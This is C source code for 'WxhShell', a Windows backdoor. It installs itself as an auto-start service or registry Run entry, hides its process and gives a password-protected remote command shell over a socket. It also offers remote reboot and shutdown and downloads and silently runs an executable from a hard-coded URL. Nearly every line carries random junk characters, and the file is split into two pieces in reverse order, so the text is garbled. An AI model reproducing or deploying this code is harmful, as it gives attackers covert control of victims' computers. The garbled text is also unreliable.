    if(Boot(SHUTDOWN)) 07E".T%Ts  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ 3-,3ia  
    else { ~"hAb2  
    closesocket(wsh); hPX2 Bp  
    ExitThread(0); ))we\I__8  
    } `04Y ;@w  
    break; $4fjSSB~  
    } $;g%S0:3)  
  // 获取shell (kD?},Z  
  case 's': {  _j?=&tc  
    CmdShell(wsh); tL 9e~>,`  
    closesocket(wsh); 55)ep  
    ExitThread(0); xDAA`G  
    break; v6, o/3Ex  
  } EJ[iOYx  
  // 退出 :EmMia-)J  
  case 'x': { *? orK o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kK_>*iCMo  
    CloseIt(wsh); 374_G?t&  
    break; ;Ef)7GE@\[  
    } z8rh*Rfxd  
  // 离开 gJ}'O4*b  
  case 'q': { ;L/T}!Dx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m'vOFP)'  
    closesocket(wsh);  I$sm5oL  
    WSACleanup(); EXScqGa]  
    exit(1); Ts?>"@  
    break; 5w-G]b  
        } I.n{ "=$B@  
  } S4AB tKG  
  } ZYp-dlEXq  
:/?R9JVI  
  // 提示信息 {  /Q?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ob()+p.kK  
} OAQ O J'  
  } N"Nd$4  
P^W$qy|  
  return; x[h<3V"  
} ?}>B4Z)  
0yEyt7 ~@  
// shell模块句柄 )SZ,J-H08w  
int CmdShell(SOCKET sock) 5=;I|l,  
{ `J;/=tf09  
STARTUPINFO si; &|,qsDK(  
ZeroMemory(&si,sizeof(si)); OEqe^``!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 97@?QI}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QSQ\@h;E  
PROCESS_INFORMATION ProcessInfo; k>@^M]%  
char cmdline[]="cmd"; MyS7AL   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' c\TMb.  
  return 0; b|C,b"$N0  
} Ik2szXh[J  
N4JL.(m){I  
// 自身启动模式 (VF4]  
int StartFromService(void) jjlCi<9CQ^  
{ ;`Ch2b1+  
typedef struct $/sZYsN~T  
{ Q\th8/ /  
  DWORD ExitStatus; 'm.XmVZL%  
  DWORD PebBaseAddress; t7`Pw33#kY  
  DWORD AffinityMask; a!]QD`  
  DWORD BasePriority; '/)_{Ly  
  ULONG UniqueProcessId; Ih0> ]h-7  
  ULONG InheritedFromUniqueProcessId; Z` Eb L  
}   PROCESS_BASIC_INFORMATION; Yoym5<xE  
T;e(Q,!H  
PROCNTQSIP NtQueryInformationProcess; V$]a&wM<5  
m##z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^)K[1]"uM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /bj`%Q.n  
C4K&flk]  
  HANDLE             hProcess; 9YsO+7[  
  PROCESS_BASIC_INFORMATION pbi; |a~&E@0c  
]m,p3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > ]N0w  
  if(NULL == hInst ) return 0; i!-sbwd7  
,Onm!LI=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lfG&V +S1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wtick~)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z Clm'X/  
?;QKe0I^  
  if (!NtQueryInformationProcess) return 0; =1B&d[3;  
E MbI\=>yS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~2qG" 1[\  
  if(!hProcess) return 0; Bc ,z]  
!6`nN1A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a5+v)F/=  
"4- Nnm  
  CloseHandle(hProcess); l.'E\3Bo  
#NxvLW/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hA19:H=7R0  
if(hProcess==NULL) return 0; m!>'}z  
bWzc=03  
HMODULE hMod; -m-WUox4"  
char procName[255]; t|XC4:/>T  
unsigned long cbNeeded; ^mb*w)-p?  
JO$]t|I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |?Uc:VFF  
B_G7F[/K  
  CloseHandle(hProcess); ZuV  
\) ONy9  
if(strstr(procName,"services")) return 1; // 以服务启动 <%5uzlp  
545xs`Q_  
  return 0; // 注册表启动 ~}l,H:jk@  
} G#M]\)f%  
VL1z$<vVXt  
// 主模块 g5'bUYsa  
int StartWxhshell(LPSTR lpCmdLine) yc}t(*A5  
{ \0& (q%c  
  SOCKET wsl; ?Qp_4<(5  
BOOL val=TRUE; nUu|}11(  
  int port=0; , |B\[0p  
  struct sockaddr_in door; N8Q{4c  
=!Cvu.~},  
  if(wscfg.ws_autoins) Install(); ]8z6gDp  
'vClZGQ1  
port=atoi(lpCmdLine); mTbPz Z4  
LKG|S<s  
if(port<=0) port=wscfg.ws_port; tH!z7VZ  
d'J?QH!N0  
  WSADATA data; N%i<DsK.u6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9~ af\G  
: \`MrI^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =l_"M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~1!kU 4  
  door.sin_family = AF_INET; 9_dsiM7CT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :CHd\."%+1  
  door.sin_port = htons(port); lO@Ba;x  
M57(,#g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6u8fF|s  
closesocket(wsl); a OHAG  
return 1; Darkj>$\  
}  8eLL  
7dW&|U  
  if(listen(wsl,2) == INVALID_SOCKET) { ,~w)@.  
closesocket(wsl); 06O  
return 1; 0\ ;a:E.c  
} &"0[7zgYQz  
  Wxhshell(wsl); )Jn80~U|1  
  WSACleanup(); Q)8t;Kx  
E':Z_ ^4  
return 0; zK;t041e  
351'l7F\  
} ?Fw/c0  
\`x'g)z(i  
// 以NT服务方式启动 a#$%xw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'IszS!kY  
{ mY9K)]8  
DWORD   status = 0; HN)QS5  
  DWORD   specificError = 0xfffffff; &*-2k-16  
=V4!t|(7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ],4LvIPD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [ V~bo/n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |-<L :%  
  serviceStatus.dwWin32ExitCode     = 0; 0^^i=iE-u  
  serviceStatus.dwServiceSpecificExitCode = 0; YO61 pZY  
  serviceStatus.dwCheckPoint       = 0; aT[7L9Cw  
  serviceStatus.dwWaitHint       = 0; Z2 4 m  
@x4Dt&:"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E$ rSrT(  
  if (hServiceStatusHandle==0) return; ~VKXL,.  
$T0[  
status = GetLastError(); sP7(1)\  
  if (status!=NO_ERROR) 2e=Hjf )  
{ $4]PN2d&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gd*?kXpt  
    serviceStatus.dwCheckPoint       = 0; WdnP[x9  
    serviceStatus.dwWaitHint       = 0; ozG:f*{T  
    serviceStatus.dwWin32ExitCode     = status; mYvm_t9  
    serviceStatus.dwServiceSpecificExitCode = specificError; I'hQbLlG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `$HO`d@0*R  
    return; %cL:*D4oz  
  } TMBdneS-s  
fZC,%p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y#,MFEd  
  serviceStatus.dwCheckPoint       = 0; ,vj^AXU  
  serviceStatus.dwWaitHint       = 0; /zKuVaC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .S;/v--F  
} 95/C4q  
Yn/-m Z  
// 处理NT服务事件,比如:启动、停止 NM]/OKs'H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lB-7.  
{ n66 _#X  
switch(fdwControl) =G :H)i  
{ v;7u"9t  
case SERVICE_CONTROL_STOP: <}%*4mv  
  serviceStatus.dwWin32ExitCode = 0; DFMWgBL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ua-p^X`w  
  serviceStatus.dwCheckPoint   = 0; y C#{nUdw  
  serviceStatus.dwWaitHint     = 0; 511q\w M  
  { Heu@{t.[!D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xh$[E&2u  
  } b;vO`  
  return; z7o5 9&  
case SERVICE_CONTROL_PAUSE: o-_ a0j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -u{:39y{n  
  break; dmne+ufB  
case SERVICE_CONTROL_CONTINUE: 2NM} u\%c/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;a"Ukh  
  break; YQOGxSi  
case SERVICE_CONTROL_INTERROGATE: h?sh#j6  
  break; .67W\p  
}; "]<Ut{Xb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .xx9tP}Xy  
} @B6[RZR  
wpdT "  
// 标准应用程序主函数 t$J-6dW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <G={V fr  
{  ar yr  
ak zb<aT  
// 获取操作系统版本 ]3G2mY;`"%  
OsIsNt=GetOsVer(); t@\0$V \X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p5\b&~ g  
tx.sUu6  
  // 从命令行安装 apXq$wWq{D  
  if(strpbrk(lpCmdLine,"iI")) Install(); fi1UUJ0 U;  
-c tZ9+LL  
  // 下载执行文件 be_t;p`3  
if(wscfg.ws_downexe) { 'JydaF~>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !VW#hc \A5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?`xId;}J#7  
} _ i8}ld-  
9Z=Bs)-y.  
if(!OsIsNt) { Y`wi=(  
// 如果时win9x,隐藏进程并且设置为注册表启动 4Hw8w7us:  
HideProc(); (`&g  
StartWxhshell(lpCmdLine); \)bwdNWI  
} #oaX<,  
else 7K~=QEc  
  if(StartFromService()) SFHa(JOS  
  // 以服务方式启动 Q_Rr5/  
  StartServiceCtrlDispatcher(DispatchTable); OoE@30+  
else eL.S="  
  // 普通方式启动 &AzA0r&,  
  StartWxhshell(lpCmdLine); t0Uax-E(  
Q["}U7j  
return 0; pVr,WTr6E  
} fqi5 84  
:Vg,[\I{  
+J2=\YO  
{r"HR%*u  
=========================================== Cpl\}Qn  
lH[N*9G(  
rfk';ph  
%}@^[E)  
&\A$Rj)  
F[lHG,g-  
" ?w.Yx$Z"  
: v]< h  
#include <stdio.h> 6i%)'dl  
#include <string.h> _$\T;m>'A  
#include <windows.h> Ky+TgR  
#include <winsock2.h> MxYCMe4S[  
#include <winsvc.h> b |EZ;,i  
#include <urlmon.h> Wl1%BN0>  
2axH8ONMu  
#pragma comment (lib, "Ws2_32.lib") c7'Pzb)'  
#pragma comment (lib, "urlmon.lib") hod|o1C&  
GB0] |z5  
#define MAX_USER   100 // 最大客户端连接数 [mhY_Hmz]  
#define BUF_SOCK   200 // sock buffer -C\m' T,1  
#define KEY_BUFF   255 // 输入 buffer `O#y%*E  
pl%ag~i5  
#define REBOOT     0   // 重启 *@yYqI<1a  
#define SHUTDOWN   1   // 关机 >q`G?9d2  
h5~tsd}OU  
#define DEF_PORT   5000 // 监听端口 :U~[%]  
T =:^k+  
#define REG_LEN     16   // 注册表键长度 SQ@@79A  
#define SVC_LEN     80   // NT服务名长度 Es?~Dd  
:g Ze>  
// 从dll定义API s3q65%D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bH&[O`vf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -IPc;`<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2rA`y8g(L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZI1[jM{4^F  
fPst<)  
// wxhshell配置信息 ?R";EnD  
struct WSCFG { vsc&$r3!5{  
  int ws_port;         // 监听端口 rXA7<_Vg  
  char ws_passstr[REG_LEN]; // 口令 UlyX$f%2  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Cte$ jg{;  
  char ws_regname[REG_LEN]; // 注册表键名 `74A'(u_  
  char ws_svcname[REG_LEN]; // 服务名 (HY|0Bgr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )=~1m85+5B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !x>P]j7A}Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  +&|WC2#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zF{5!b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" srUpG&Bcx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K{ N#^L!  
mI}'8 .  
}; @L`t/OD  
.Emw;+>  
// default Wxhshell configuration )5hS;u&b  
struct WSCFG wscfg={DEF_PORT, @}#$<6|  
    "xuhuanlingzhe", #[IQmU23  
    1, zc(- dMlK  
    "Wxhshell", t0/fF'GZD  
    "Wxhshell", sURHj&:t|  
            "WxhShell Service", TzVNZDQ`Jl  
    "Wrsky Windows CmdShell Service", ^G15]Pyw  
    "Please Input Your Password: ", * ,,D%L  
  1, 2&dtOyxo>  
  "http://www.wrsky.com/wxhshell.exe", dw'%1g.113  
  "Wxhshell.exe" >hHn{3y  
    }; 2OEO b,`  
#qHo+M$"  
// 消息定义模块 *Bc= gl$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (G:$/fK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o <sX6a9e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HdLVXaD/  
char *msg_ws_ext="\n\rExit."; Kx ';mgG#$  
char *msg_ws_end="\n\rQuit."; U1B5gjN  
char *msg_ws_boot="\n\rReboot..."; an.)2*u  
char *msg_ws_poff="\n\rShutdown..."; je.mX/Lpj  
char *msg_ws_down="\n\rSave to "; JIDE]f  
r%F{1.  
char *msg_ws_err="\n\rErr!"; 'H:lR1(,  
char *msg_ws_ok="\n\rOK!"; H=EvT'g  
pkhZW8O  
char ExeFile[MAX_PATH]; Aqq%HgY:t  
int nUser = 0; \S3C"P%w  
HANDLE handles[MAX_USER]; IeE+h-3p  
int OsIsNt; eo"6 \3z  
l1a=r:WhH  
SERVICE_STATUS       serviceStatus; ~,.Agx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TR| G4l?  
% `\8z  
// 函数声明 J7$5<  
int Install(void); @r'8<6hVO  
int Uninstall(void); gZ:)l@ Wu  
int DownloadFile(char *sURL, SOCKET wsh); .BuY[,I+  
int Boot(int flag); WC0@g5;1[  
void HideProc(void); v$lP?\P;}X  
int GetOsVer(void); (V}D PA  
int Wxhshell(SOCKET wsl); s+9q :  
void TalkWithClient(void *cs); $}N'm  
int CmdShell(SOCKET sock); @:X~^K.  
int StartFromService(void); ` Y"Rh[C  
int StartWxhshell(LPSTR lpCmdLine); 27}k63\  
vV,H@WK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ]Ocf %(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~%m-}Sxc  
qVx0VR1:  
// 数据结构和表定义 ,@8>=rT  
SERVICE_TABLE_ENTRY DispatchTable[] = "3W!p+W  
{ hI]KT a  
{wscfg.ws_svcname, NTServiceMain}, :^%My]>T  
{NULL, NULL} hBO I:4u[  
}; &K|<7Efx  
oe# :EfT  
// 自我安装 ZoF\1C ^  
int Install(void) P.=&:ay7?  
{ &CG3_s<2  
  char svExeFile[MAX_PATH]; \ @3i=!  
  HKEY key; +kmPQdO;*/  
  strcpy(svExeFile,ExeFile); x/R|i%u-s  
l0 r Zril  
// 如果是win9x系统,修改注册表设为自启动 {eMu"<  
if(!OsIsNt) { >n{(2bcFs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [_#9PH33  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O\-cLI<h2  
  RegCloseKey(key); 48Z{wV,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kb Odg:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LEKN%2  
  RegCloseKey(key); W EZ(4ah  
  return 0; s'J8E+&5  
    } `b+f^6SJn  
  } Q9]7.^l  
} <G/O!02  
else { QB7E:g&7  
  9Ld3  
// 如果是NT以上系统,安装为系统服务 ?x%HQ2`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H'P1EZtq  
if (schSCManager!=0) z<hy#BIjnd  
{ [}N?'foLb  
  SC_HANDLE schService = CreateService ]+{Cy\*kR  
  ( bo4 :|Z  
  schSCManager, ebcGdC/%>  
  wscfg.ws_svcname, X )$3sTj  
  wscfg.ws_svcdisp, ;Z%ysLA  
  SERVICE_ALL_ACCESS, AM#VRRTU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h)~KD%  
  SERVICE_AUTO_START, Yy@;U]R  
  SERVICE_ERROR_NORMAL, a{mtG{Wc  
  svExeFile, VX2 KE@  
  NULL, 1.4]T, `  
  NULL, b,cA mZ  
  NULL, 'RC(ss1G  
  NULL, =;9Wh!{  
  NULL Y7zg  
  ); s0~a5Ti3  
  if (schService!=0) r=~yUT  
  { x;?4AJ{  
  CloseServiceHandle(schService); D\jRF-z  
  CloseServiceHandle(schSCManager); .R#p<"$I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j *Ta?'*  
  strcat(svExeFile,wscfg.ws_svcname); =) $a>N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f nX!wN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kzb&aOw  
  RegCloseKey(key); J$%mG*Y(  
  return 0; yNoJrA  
    } +^iUY%pm  
  } By]XD~gcP  
  CloseServiceHandle(schSCManager); kOmTji7  
} [-x~Q[  
} @kenv3[Lc  
a]>gDDF  
return 1; 7<<pP  
} ;O}%_ef@  
bjmUU6VLT  
// 自我卸载 rp6Y&3p.  
int Uninstall(void) >JkQ U e  
{ ZT5t~5W  
  HKEY key; MRwls@z=  
!h4S`2oZ/  
if(!OsIsNt) { x }[/A;N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WZ"NG|  
  RegDeleteValue(key,wscfg.ws_regname); UeIu -[R  
  RegCloseKey(key); ~}q"M[{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &^Zo}F2V  
  RegDeleteValue(key,wscfg.ws_regname); d kHcG&)  
  RegCloseKey(key); /J]Yj,  
  return 0; 1mm/Ssw:C  
  } TR L4r_  
} \K.i8f,  
} IHZ WNT2  
else { 'S@%  
iA3d[%tBb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j0B, \A  
if (schSCManager!=0) {+r pMUs#  
{ rk*Igqf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?7 e|gpQ|  
  if (schService!=0) yH#zyO4fD-  
  { uc<XdFcu  
  if(DeleteService(schService)!=0) {  VT96ph  
  CloseServiceHandle(schService); ;{ u{F L  
  CloseServiceHandle(schSCManager); Tw/kD)u{  
  return 0; FY)vrM*yh  
  } w|pk1~c(_  
  CloseServiceHandle(schService); 1_%jDMYH  
  } .;ml[DXH  
  CloseServiceHandle(schSCManager); "aHY]E{  
} gQ3Co./  
} )tl=tH/$  
*/sVuD^b`  
return 1; Z#BwJHh  
} _v{,vLH  
6^F"np{w  
// 从指定url下载文件 0N$tSTo.-<  
int DownloadFile(char *sURL, SOCKET wsh) kbJ/7  
{ mq`N&ABO!K  
  HRESULT hr; v%n'_2J =^  
char seps[]= "/"; VQ5T$,&  
char *token; v|t_kNX;v*  
char *file; g e)g?IP4  
char myURL[MAX_PATH]; - l8n0P1+  
char myFILE[MAX_PATH]; t uo'4%]i  
{(]B{n  
strcpy(myURL,sURL); zYO+;;*@  
  token=strtok(myURL,seps); E]WammX c  
  while(token!=NULL) N3g[,BE  
  { _m;0%]+  
    file=token; eUPG){"  
  token=strtok(NULL,seps); zuUf:%k}I  
  } D{'x7!5r  
.%_scNP  
GetCurrentDirectory(MAX_PATH,myFILE); $%ZEP> ]  
strcat(myFILE, "\\"); X&nkc/erx  
strcat(myFILE, file); %Ez%pT0TQ#  
  send(wsh,myFILE,strlen(myFILE),0); Zy,U'Dv  
send(wsh,"...",3,0); A\ds0dUE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !;.i#c_u  
  if(hr==S_OK) } R!-*Wk  
return 0; 8fFURk  
else 9_V'P]@  
return 1; ..V6U"/  
]Cnj=\'  
} #x$.  
o)F^0t  
// 系统电源模块 *X+T>SKL  
int Boot(int flag) SoeL_#+^W  
{ jo{[*]Oa  
  HANDLE hToken; ~j}di^<{  
  TOKEN_PRIVILEGES tkp; dy N`9  
\2 &)b  
  if(OsIsNt) { {c`kC]9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }C!N$8d,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J @C8;]  
    tkp.PrivilegeCount = 1; |VbF&*v`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rD<G_%hP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N(q%|h<Z/=  
if(flag==REBOOT) { 9:"%j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) He}qgE>Us  
  return 0; 0M(\xO  
} P9; =O$s  
else { -1d2Qed  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qc#<RbLL  
  return 0; ba& \~_4  
} pE@Q (9`b{  
  } F?&n5R.  
  else { T5?@'b8F6  
if(flag==REBOOT) { `=0}+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q!(16  
  return 0; tNg}: a|J  
} ))V)]+  
else { [R*UPa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GqBZWmAB  
  return 0; {r Q6IV3=  
} #]<j.Fc`  
} Ic/D!J{Y  
d]6.$"\" p  
return 1; &l2oyQEF)  
} :pj#t$:!  
\E1[ /  
// win9x进程隐藏模块 7y.$'<  
void HideProc(void) ce!0Ws+  
{ | YmQO#''  
<x@brXA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); If>k~aL7I  
  if ( hKernel != NULL ) ,0O9!^  
  { 'AU(WHf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bpt%\LK\~O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Ez=  
    FreeLibrary(hKernel); |1C=Ow*"  
  } H+y(W5|2/X  
`wz@l:e  
return; kaf4GME]  
} Y ]&D;w  
Uu ~BErEC  
// 获取操作系统版本 SE/GT:}  
int GetOsVer(void) NwbB\Wl  
{ k2DT+}u7G  
  OSVERSIONINFO winfo; 19O /Q,9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'z7,)Q&8  
  GetVersionEx(&winfo); U86bn(9K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5:v"^"Sz  
  return 1; ':YFm  
  else xD+n2:I{  
  return 0; D]n9+!Ec1f  
} W,dqk=n  
de{@u<Y Zb  
// 客户端句柄模块 F,}wQ N  
int Wxhshell(SOCKET wsl) \nT, NV11  
{ >KXSb@  
  SOCKET wsh; s{x{/Bp(KK  
  struct sockaddr_in client; .vHSKd{  
  DWORD myID;  %~Vgz(/  
e@N@8i"q5  
  while(nUser<MAX_USER) H:byCFN-  
{ tmEF7e`(o  
  int nSize=sizeof(client); &U/7D!^X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W(U:D?e  
  if(wsh==INVALID_SOCKET) return 1; S_?{ <{  
ZP75zeH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5%M 'ewu  
if(handles[nUser]==0) @9S3u#vP  
  closesocket(wsh); sbn|D\p  
else \`3YE~7J/  
  nUser++; "cSH[/  
  } V ':?rEN|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zzOc # /  
yg34b}m{  
  return 0; B>sSl1opI  
} 0\XG;KA  
T= Q"| S]V  
// 关闭 socket Mg3>/!  
void CloseIt(SOCKET wsh) 2;X{ZLo  
{ b.HfxYt(  
closesocket(wsh); trD-qi  
nUser--; ^W!w~g+  
ExitThread(0); #mu3`,9V  
} 2_i/ F)W  
Sh&n DdF"  
// 客户端请求句柄 'MZX"t  
void TalkWithClient(void *cs) ?Pg{nlJvq  
{ PNVYW?l  
anLSD/'4W  
  SOCKET wsh=(SOCKET)cs; b5WtL+Z  
  char pwd[SVC_LEN]; ^APPWQUl  
  char cmd[KEY_BUFF]; 6aC'\8{h  
char chr[1]; s*% pNE U  
int i,j; ^f][;>c  
kB~KC-&O  
  while (nUser < MAX_USER) { K(bid0 Y  
+M@p)pyu  
if(wscfg.ws_passstr) { MP"Pqt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hH Kd+QpI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` s [77V>  
  //ZeroMemory(pwd,KEY_BUFF); m"3gTqG  
      i=0; iIrH&}2  
  while(i<SVC_LEN) { C'5b)0km  
xF|P6GXg  
  // 设置超时 up`.#GWm  
  fd_set FdRead; DVNx\t  
  struct timeval TimeOut; 66RqjP '2  
  FD_ZERO(&FdRead); |S0]qt?  
  FD_SET(wsh,&FdRead); )0F\[Jl}  
  TimeOut.tv_sec=8; q]PeS~PjF\  
  TimeOut.tv_usec=0; gZkjh{rQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w.v yEU^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d3% 1 P)  
E1'| ;}/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k)l*L1Y4:  
  pwd=chr[0]; )1de<# qM  
  if(chr[0]==0xd || chr[0]==0xa) { $:&?!>H  
  pwd=0; 2@!Ou$W  
  break; 6k14xPj  
  } p\xi5z  
  i++; h$\+r<  
    } IC5[:UZ5]  
9hoTxWpmy  
  // 如果是非法用户,关闭 socket x.gRTR`7(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M? 7CBqZ  
} 8&d s  
f~bZTf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <hG] f%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #L,>)XkjS  
rID_^g_tP8  
while(1) { a3i;r M2  
~Ey)9phZK  
  ZeroMemory(cmd,KEY_BUFF); 'dTJE--@  
"XvM1G&s`  
      // 自动支持客户端 telnet标准   K8>-%ns  
  j=0; fK-tvP0}*  
  while(j<KEY_BUFF) { R 2.y=P8N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XLG6f(B=F  
  cmd[j]=chr[0]; {~cG'S Y%  
  if(chr[0]==0xa || chr[0]==0xd) { z 'iAj  
  cmd[j]=0; $inpiO|s  
  break; D)0pm?*5A  
  } Iv J ;9d  
  j++; |q0MM^%"  
    } z x e6M~+  
Ky6.6Y<.|  
  // 下载文件 .Ioj]r  
  if(strstr(cmd,"http://")) { p xj}%LH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `EFPY$9`D  
  if(DownloadFile(cmd,wsh)) %+>t @F,GM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?eWh#[K"  
  else _6Ex}`fyJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nMz~.^Q-  
  } ez2rCpA  
  else { ux8:   
